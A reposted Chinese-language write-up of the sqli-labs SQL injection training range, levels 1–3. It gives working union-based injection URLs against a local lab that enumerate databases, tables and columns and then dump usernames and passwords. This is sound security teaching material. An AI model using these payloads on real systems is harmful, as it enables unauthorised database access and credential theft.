sqli-labs通關筆記


sql-labs是練習sql注入的優質靶場,其中包含各種各樣注入姿勢,通過這篇文章記錄一下各種技巧。

Basic Challenges

Less-1

經過嘗試,存在報錯,可以判斷為字符型注入,閉合方式為 ' 

 

首先使用 order by 判斷一下字段數,有報錯信息可以知道,存在3個字段。

http://127.0.0.1:3000/Less-1/?id=1' order by 4--+

 

 

 接下來結合聯合查詢,查都有哪些數據庫:

http://127.0.0.1:3000/Less-1/?id=-1'union select 1,2,group_concat(schema_name) from information_schema.schemata --+

 

查詢當前數據庫:

http://127.0.0.1:3000/Less-1/?id=-1' union select 1,2,database() --+

 

查表:

http://127.0.0.1:3000/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

查字段:

http://127.0.0.1:3000/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

查數據:

http://127.0.0.1:3000/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users --+

 

Less-2

 確定注入類型為數值型,所以不用加引號,直接使用 id=1。剩余步驟和 LESS1 相同。

http://127.0.0.1:3000/Less-2/?id=-1 order by 4 --+

 最終payload為:

http://127.0.0.1:3000/Less-2/?id=-1 union select 1,group_concat(username),group_concat(password) from users --+

 

Less-3

首先也是判斷注入變量類型。' 會報錯," 和 ()都沒有報錯,所以猜測SQL語句為 $SQL = "select * from database where id= ('$id') LIMIT 0,1" 這樣的形式 。

 

確定好變量形式之后就是常規的查庫、查表、查字段了。和前面基本一樣,最終payload為:

http://127.0.0.1:3000/Less-3/?id=-1') union select 1,group_concat(username),group_concat(password) from users --+

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM